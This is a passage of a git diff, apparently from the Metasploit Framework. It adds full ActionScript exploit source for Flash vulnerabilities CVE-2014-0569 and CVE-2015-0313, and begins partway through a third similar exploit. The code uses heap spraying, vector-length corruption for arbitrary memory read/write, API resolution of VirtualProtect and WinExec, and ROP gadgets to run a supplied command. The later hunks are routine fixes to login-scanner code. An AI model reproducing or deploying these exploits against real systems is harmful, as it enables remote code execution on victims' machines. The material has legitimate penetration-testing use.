bd:BitmapData = new BitmapData(128, 16) + private var i:uint = 0 + + public function Main() + { + var b64:Base64Decoder = new Base64Decoder() + b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + var payload:String = b64.toByteArray().toString() + + for (i = 0; i < bv.length; i++) { + bv[i] = new ByteArray() + bv[i].length = 0x2000 + bv[i].position = 0xFFFFF000 + } + + for (i = 0; i < bv.length; i++) + if (i % 2 == 0) bv[i] = null + + for (i = 0; i < uv.length; i++) { + uv[i] = new Vector.(1022) + } + + bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401]) + + for (i = 0; ; i++) + if (uv[i].length == 0xffffffff) break + + for (var i2:uint = 1; i2 < uv.length; i2++) { + if (i == i2) continue + uv[i2] = new Vector.(1014) + uv[i2][0] = bv[6401] + uv[i2][1] = this + } + + uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000 + bv[6401].endian = "littleEndian" + bv[6401].length = 0x500000 + var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000 + var main:uint = uv[i][0xfffffc09] - 1 + var vtable:uint = vector_read(main) + vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff) + byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8)) + byte_write(uv[i][0]) + + var flash:uint = base(vtable) + var winmm:uint = module("winmm.dll", flash) + var kernel32:uint = module("kernel32.dll", winmm) + var virtualprotect:uint = procedure("VirtualProtect", kernel32) + var winexec:uint = procedure("WinExec", kernel32) + var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) + + byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable + byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main + byte_write(0, "\x89\x03", false) // mov [ebx], eax + byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + byte_write(buffer + 0x100, payload, true) + byte_write(buffer + 0x20070, xchgeaxespret) + byte_write(buffer + 0x20000, xchgeaxesiret) + byte_write(0, virtualprotect) + + // VirtualProtect + byte_write(0, winexec) + byte_write(0, buffer + 0x30000) + byte_write(0, 0x1000) + byte_write(0, 0x40) + byte_write(0, buffer + 0x80) + + // WinExec + byte_write(0, buffer + 0x30000) + byte_write(0, buffer + 0x100) + byte_write(0) + + byte_write(main, buffer + 0x20000) + this.toString() + } + + private function vector_write(addr:uint, value:uint = 0):void + { + addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value + } + + private function vector_read(addr:uint):uint + { + return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] + } + + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) bv[6401].position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i)) + if (zero) bv[6401].writeByte(0) + } else bv[6401].writeUnsignedInt(value) + } + + private function byte_read(addr:uint, type:String = "dword"):uint + { + bv[6401].position = addr + switch(type) { + case "dword": + return bv[6401].readUnsignedInt() + case "word": + return bv[6401].readUnsignedShort() + case "byte": + return bv[6401].readUnsignedByte() + } + return 0 + } + + private function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (byte_read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + private function module(name:String, addr:uint):uint + { + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 + while (true) { + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + bv[6401].position = addr + entry + if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break + } + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) + } + + private function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) + var numberOfNames:uint = byte_read(eat + 0x18) + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) + var addressOfNames:uint = addr + byte_read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) + for (var i:uint = 0; ; i++) { + var entry:uint = byte_read(addressOfNames + i * 4) + bv[6401].position = addr + entry + if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break + } + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + private function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break + return addr + i + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/Main.as b/external/source/exploits/CVE-2014-0569/Main.as new file mode 100755 index 0000000000..5a7003b256 --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/Main.as @@ -0,0 +1,285 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Download the Flex SDK (4.6) +// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 4. Build with: mxmlc -o msf.swf Main.as + +// Original code skeleton by @hdarwin89 for other exploits + +package +{ + import flash.display.Sprite + import flash.utils.ByteArray + import flash.system.ApplicationDomain + import avm2.intrinsics.memory.casi32 + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Main extends Sprite + { + private var BYTE_ARRAY_SIZE:Number = 1024 + private var defrag:Vector. = new Vector.(100) + private var ov:Vector. = new Vector.(100) + private var uv:Vector. = new Vector.(100) + private var uv_index:uint + private var ba:ByteArray + private var b64:Base64Decoder = new Base64Decoder(); + private var payload:String = "" + + public function Main() + { + var i:uint = 0 + var j:uint = 0 + + b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + payload = b64.toByteArray().toString(); + + for (i = 0; i < defrag.length; i++) { + defrag[i] = new ByteArray() + defrag[i].length = BYTE_ARRAY_SIZE + defrag[i].endian = "littleEndian" + } + + ba = new ByteArray() + ov[0] = ba + ov[0].length = BYTE_ARRAY_SIZE + ov[0].endian = "littleEndian" + + for (i = 1; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = ba + ov[i][1] = this + } + + for (i = 0; i < uv.length; i++) { + uv[i] = new Vector.(1014) + uv[i][0] = 0x41424344 + } + + var stack:Vector. = new Vector.(0x6400) + var payload_space:Vector. = new Vector.(0x6400) + + for (i = 1; i < ov.length; i++) { + ov[i][2] = stack + ov[i][3] = payload_space + } + + ApplicationDomain.currentDomain.domainMemory = ba; + // Make ByteArray length 0 so the casi32 integer overflow + // can be exploited + ba.atomicCompareAndSwapLength(1024, 0) + + var object_vector_pos:uint = search_object_vector() + var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1 + var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1 + var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1 + var main:uint = read_byte_array(object_vector_pos + 8) - 1 + var uint_vector_pos:uint = search_uint_vector() + var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12 + var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos) + + // Overwrite uint vector length + var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff) + + for (i = 0; i < uv.length; i++) { + if (uv[i].length > 1024) { + uv_index = i + uv[i][0] = uint_vector_address + break + } + } + + var buffer_object:uint = vector_read(byte_array_object + 0x40) + var buffer:uint = vector_read(buffer_object + 8) + var stack_address:uint = vector_read(stack_object + 0x18) + var payload_address:uint = vector_read(payload_space_object + 0x18) + var vtable:uint = vector_read(main) + + // Set the new ByteArray length + ba.endian = "littleEndian" + ba.length = 0x500000 + + // Overwite the ByteArray data pointer and capacity + var ba_array:uint = buffer_object + 8 + var ba_capacity:uint = buffer_object + 16 + vector_write(ba_array) + vector_write(ba_capacity, 0xffffffff) + + // restoring the corrupted vector length since we don't need it + // anymore + byte_write(uv[uv_index][0], orig_length) + + var flash:uint = base(vtable) + var winmm:uint = module("winmm.dll", flash) + var kernel32:uint = module("kernel32.dll", winmm) + var virtualprotect:uint = procedure("VirtualProtect", kernel32) + var winexec:uint = procedure("WinExec", kernel32) + var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) + + // Continuation of execution + byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable + byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main + byte_write(0, "\x89\x03", false) // mov [ebx], eax + byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + byte_write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + byte_write(0, virtualprotect) + + // VirtualProtect + byte_write(0, winexec) + byte_write(0, buffer + 0x10) + byte_write(0, 0x1000) + byte_write(0, 0x40) + byte_write(0, buffer + 0x8) // Writable address (4 bytes) + + // WinExec + byte_write(0, buffer + 0x10) + byte_write(0, payload_address + 8) + byte_write(0) + + byte_write(main, stack_address + 0x18000) // overwrite with fake vtable + + toString() // call method in the fake vtable + } + + // Methods to use the integer overflow + + private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint { + var mem:uint = 0 + var mem_first_pos:uint = 0 + var next_length:uint = 0 + + for (var i:uint = 0; i < limit; i = i + 4) { + mem = read_byte_array(i) + mem_first_pos = read_byte_array(i + 8) + if (mem == pattern && mem_first_pos != 0x41424344) { + return i; + } + } + return -1; + } + + private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint { + var mem:uint = 0 + var mem_first_pos:uint = 0 + + for (var i:uint = 0; i < limit; i = i + 4) { + mem = read_byte_array(i) + mem_first_pos = read_byte_array(i + 8) + if (mem == pattern && mem_first_pos == 0x41424344) { + return i; + } + } + return -1; + } + + private function read_byte_array(offset:uint = 0):uint { + var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef) + return old + } + + private function write_byte_array(offset:uint = 0, value:uint = 0):uint { + var old:uint = read_byte_array(offset) + casi32(offset, old, value) + return old + } + + // Methods to use the corrupted vector for arbitrary reading/writing + + private function vector_write(addr:uint, value:uint = 0):void + { + addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value + } + + private function vector_read(addr:uint):uint + { + return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] + } + + // Methods to use the corrupted byte array for arbitrary reading/writing + + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) ba.position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else ba.writeUnsignedInt(value) + } + + private function byte_read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + // Methods to search the memory with the corrupted byte array + + private function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (byte_read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + private function module(name:String, addr:uint):uint + { + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) + var i:int = -1 + while (true) { + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + ba.position = addr + entry + var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); + if (dll_name == name.toUpperCase()) { + break; + } + } + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); + } + + private function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) + var numberOfNames:uint = byte_read(eat + 0x18) + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) + var addressOfNames:uint = addr + byte_read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) + + for (var i:uint = 0; ; i++) { + var entry:uint = byte_read(addressOfNames + i * 4) + ba.position = addr + entry + if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break + } + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + private function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break + return addr + i + } + } +} diff --git a/external/source/exploits/CVE-2015-0311/Main.as b/external/source/exploits/CVE-2015-0311/Main.as index 9393a0495a..14e211e402 100755 --- a/external/source/exploits/CVE-2015-0311/Main.as +++ b/external/source/exploits/CVE-2015-0311/Main.as @@ -3,6 +3,7 @@ // 2. Be support to support 16.0 as target-player (flex-config.xml). // 3. Download the Flex SDK (4.6) // 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) // 5. Build with: mxmlc -o msf.swf Main.as // Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/ diff --git a/external/source/exploits/CVE-2015-0313/Main.as b/external/source/exploits/CVE-2015-0313/Main.as new file mode 100755 index 0000000000..58ed3d2bb5 --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/Main.as @@ -0,0 +1,207 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Be support to support 16.0 as target-player (flex-config.xml). +// 3. Download the Flex SDK (4.6) +// 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Main.as + +// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/ +// Modified to be used from msf +package +{ +import flash.display.Sprite +import flash.display.LoaderInfo +import flash.events.Event +import flash.utils.ByteArray +import flash.system.Worker +import flash.system.WorkerDomain +import flash.system.MessageChannel +import flash.system.ApplicationDomain +import avm2.intrinsics.memory.casi32 +import mx.utils.Base64Decoder + +public class Main extends Sprite +{ + private var ov:Vector. = new Vector.(25600) + private var uv:Vector. = new Vector. + private var ba:ByteArray = new ByteArray() + private var worker:Worker + private var mc:MessageChannel + private var b64:Base64Decoder = new Base64Decoder() + private var payload:String = "" + + public function Main() + { + if (Worker.current.isPrimordial) mainThread() + else workerThread() + } + + private function mainThread():void + { + b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + payload = b64.toByteArray().toString() + + ba.length = 0x1000 + ba.shareable = true + for (var i:uint = 0; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = ba + ov[i][1] = this + } + for (i = 0; i < ov.length; i += 2) delete(ov[i]) + worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) + mc = worker.createMessageChannel(Worker.current) + mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) + worker.setSharedProperty("mc", mc) + worker.setSharedProperty("ba", ba) + ApplicationDomain.currentDomain.domainMemory = ba + worker.start() + } + + private function workerThread():void + { + var ba:ByteArray = Worker.current.getSharedProperty("ba") + var mc:MessageChannel = Worker.current.getSharedProperty("mc") + ba.clear() + ov[0] = new Vector.(1022) + mc.send("") + while (mc.messageAvailable); + ov[0][0] = ov[0][0x403] - 0x18 - 0x1000 + ba.length = 0x500000 + var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000 + var main:uint = ov[0][0x409] - 1 + var vtable:uint = vector_read(main) + vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff) + mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString()) + } + + private function onMessage(e:Event):void + { + casi32(0, 1022, 0xFFFFFFFF) + if (ba.length != 0xffffffff) mc.receive() + else { + ba.endian = "littleEndian" + var data:Array = (mc.receive() as String).split("/") + byte_write(parseInt(data[0])) + var buffer:uint = parseInt(data[1]) as uint + var main:uint = parseInt(data[2]) as uint + var vtable:uint = parseInt(data[3]) as uint + var flash:uint = base(vtable) + var ieshims:uint = module("winmm.dll", flash) + var kernel32:uint = module("kernel32.dll", ieshims) + + var virtualprotect:uint = procedure("VirtualProtect", kernel32) + var winexec:uint = procedure("WinExec", kernel32) + var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) + + //CoE + byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable + byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main + byte_write(0, "\x89\x03", false) // mov [ebx], eax + byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + byte_write(buffer+0x200, payload); + byte_write(buffer + 0x20070, xchgeaxespret) + byte_write(buffer + 0x20000, xchgeaxesiret) + byte_write(0, virtualprotect) + + // VirtualProtect + byte_write(0, winexec) + byte_write(0, buffer + 0x30000) + byte_write(0, 0x1000) + byte_write(0, 0x40) + byte_write(0, buffer + 0x100) + + // WinExec + byte_write(0, buffer + 0x30000) + byte_write(0, buffer + 0x200) + byte_write(0) + + byte_write(main, buffer + 0x20000) + toString() + } + } + + private function vector_write(addr:uint, value:uint = 0):void + { + addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value + } + + private function vector_read(addr:uint):uint + { + return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] + } + + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) ba.position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else ba.writeUnsignedInt(value) + } + + private function byte_read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + private function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (byte_read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + private function module(name:String, addr:uint):uint + { + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 + while (true) { + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + ba.position = addr + entry + if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break + } + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) + } + + private function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) + var numberOfNames:uint = byte_read(eat + 0x18) + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) + var addressOfNames:uint = addr + byte_read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) + for (var i:uint = 0; ; i++) { + var entry:uint = byte_read(addressOfNames + i * 4) + ba.position = addr + entry + if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break + } + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + private function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break + return addr + i + } +} +} \ No newline at end of file diff --git a/lib/metasm/metasm/exe_format/javaclass.rb b/lib/metasm/metasm/exe_format/javaclass.rb index f709b7ddac..c9678747c2 100644 --- a/lib/metasm/metasm/exe_format/javaclass.rb +++ b/lib/metasm/metasm/exe_format/javaclass.rb @@ -96,7 +96,7 @@ class JavaClass < ExeFormat when 'NameAndType' @info = ConstantNameAndType.decode(c) else - raise 'unkown constant tag' + raise 'unknown constant tag' return end end diff --git a/lib/metasm/metasm/main.rb b/lib/metasm/metasm/main.rb index ae8541f59f..5260a156de 100644 --- a/lib/metasm/metasm/main.rb +++ b/lib/metasm/metasm/main.rb @@ -306,8 +306,8 @@ class ExeFormat # creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists def new_label(base = '') base = base.dup.tr('^a-zA-Z0-9_', '_') - # use %x instead of to_s(16) for negative values - base = (base << '_uuid' << ('%08x' % base.object_id)).freeze if base.empty? or @unique_labels_cache[base] + # use %x with absolute value to avoid negative number formatting + base = (base << '_uuid' << ('%08x' % base.object_id.abs)).freeze if base.empty? or @unique_labels_cache[base] @unique_labels_cache[base] = true base end diff --git a/lib/metasploit/framework/common_engine.rb b/lib/metasploit/framework/common_engine.rb index 58067fa982..2741e9f9e0 100644 --- a/lib/metasploit/framework/common_engine.rb +++ b/lib/metasploit/framework/common_engine.rb @@ -32,6 +32,7 @@ module Metasploit::Framework::CommonEngine end config.root = Msf::Config::install_root + config.paths.add 'app/concerns', autoload: true config.paths.add 'data/meterpreter', glob: '**/ext_*' config.paths.add 'modules' diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb index 60a7ce5c88..cb7f0bbac8 100644 --- a/lib/metasploit/framework/credential_collection.rb +++ b/lib/metasploit/framework/credential_collection.rb @@ -79,7 +79,7 @@ class Metasploit::Framework::CredentialCollection # Adds a string as an addition private credential # to be combined in the collection. # - # @param [String] :private_str the string to use as a private + # @param [String] private_str the string to use as a private # @return [void] def add_private(private_str='') additional_privates << private_str @@ -88,7 +88,7 @@ class Metasploit::Framework::CredentialCollection # Adds a string as an addition public credential # to be combined in the collection. # - # @param [String] :public_str the string to use as a public + # @param [String] public_str the string to use as a public # @return [void] def add_public(public_str='') additional_publics << public_str diff --git a/lib/metasploit/framework/login_scanner/chef_webui.rb b/lib/metasploit/framework/login_scanner/chef_webui.rb index 3431c66a0a..1f4cdf2d16 100644 --- a/lib/metasploit/framework/login_scanner/chef_webui.rb +++ b/lib/metasploit/framework/login_scanner/chef_webui.rb @@ -24,12 +24,19 @@ module Metasploit # @param credential [Metasploit::Framework::Credential] The credential object # @return [Result] def attempt_login(credential) - result_opts = { credential: credential } + result_opts = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + protocol: 'tcp' + } begin status = try_login(credential) result_opts.merge!(status) - rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) end diff --git a/lib/metasploit/framework/login_scanner/gitlab.rb b/lib/metasploit/framework/login_scanner/gitlab.rb index 8a3eee5ab4..a8213d9d2d 100644 --- a/lib/metasploit/framework/login_scanner/gitlab.rb +++ b/lib/metasploit/framework/login_scanner/gitlab.rb @@ -83,7 +83,7 @@ module Metasploit else result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) end - rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e + rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) ensure cli.close diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb index 02200d0e74..064a583d9e 100644 --- a/lib/metasploit/framework/login_scanner/glassfish.rb +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -183,7 +183,7 @@ module Metasploit status = try_glassfish_3(credential) result_opts.merge!(status) end - rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) end diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index b54f4605df..c621fcf345 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -187,13 +187,66 @@ module Metasploit error_message end + # Sends a HTTP request with Rex + # + # @param [Hash] opts native support includes the following (also see Rex::Proto::Http::Request#request_cgi) + # @option opts [String] 'host' The remote host + # @option opts [Fixnum] 'port' The remote port + # @option opts [Boolean] 'ssl' The SSL setting, TrueClass or FalseClass + # @option opts [String] 'proxies' The proxies setting + # @option opts [Credential] 'credential' A credential object + # @option opts ['Hash'] 'context' A context + # @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + # @return [Rex::Proto::Http::Response] The HTTP response + # @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response) + def send_request(opts) + rhost = opts['host'] || host + rport = opts['rport'] || port + cli_ssl = opts['ssl'] || ssl + cli_ssl_version = opts['ssl_version'] || ssl_version + cli_proxies = opts['proxies'] || proxies + username = opts['credential'] ? opts['credential'].public : '' + password = opts['credential'] ? opts['credential'].private : '' + realm = opts['credential'] ? opts['credential'].realm : nil + context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module} + + res = nil + cli = Rex::Proto::Http::Client.new( + rhost, + rport, + context, + cli_ssl, + cli_ssl_version, + cli_proxies, + username, + password + ) + configure_http_client(cli) + + if realm + cli.set_config('domain' => realm) + end + + begin + cli.connect + req = cli.request_cgi(opts) + res = cli.send_recv(req) + rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e + raise Rex::ConnectionError, e.message + ensure + cli.close + end + + res + end + + # Attempt a single login with a single credential against the target. # # @param credential [Credential] The credential object to attempt to # login with. # @return [Result] A Result object indicating success or failure def attempt_login(credential) - result_opts = { credential: credential, status: Metasploit::Model::Login::Status::INCORRECT, @@ -209,32 +262,13 @@ module Metasploit result_opts[:service_name] = 'http' end - http_client = Rex::Proto::Http::Client.new( - host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, - proxies, credential.public, credential.private - ) - - configure_http_client(http_client) - - if credential.realm - http_client.set_config('domain' => credential.realm) - end - begin - http_client.connect - request = http_client.request_cgi( - 'uri' => uri, - 'method' => method - ) - - response = http_client.send_recv(request) + response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method) if response && response.code == 200 result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers) end - rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e + rescue Rex::ConnectionError => e result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) - ensure - http_client.close end Result.new(result_opts) @@ -322,7 +356,7 @@ module Metasploit # Combine the base URI with the target URI in a sane fashion # - # @param [String] The target URL + # @param [String] target_uri the target URL # @return [String] the final URL mapped against the base def normalize_uri(target_uri) (self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/') diff --git a/lib/metasploit/framework/login_scanner/jenkins.rb b/lib/metasploit/framework/login_scanner/jenkins.rb index 5117c6e641..879989e0ef 100644 --- a/lib/metasploit/framework/login_scanner/jenkins.rb +++ b/lib/metasploit/framework/login_scanner/jenkins.rb @@ -50,7 +50,7 @@ module Metasploit else result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) end - rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e + rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) end Result.new(result_opts) diff --git a/lib/metasploit/framework/login_scanner/nessus.rb b/lib/metasploit/framework/login_scanner/nessus.rb new file mode 100644 index 0000000000..ed81ee8a4b --- /dev/null +++ b/lib/metasploit/framework/login_scanner/nessus.rb @@ -0,0 +1,94 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + class Nessus < HTTP + + DEFAULT_PORT = 8834 + PRIVATE_TYPES = [ :password ] + LIKELY_SERVICE_NAMES = [ 'nessus' ] + LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name + + + # Checks if the target is a Tenable Nessus server. + # + # 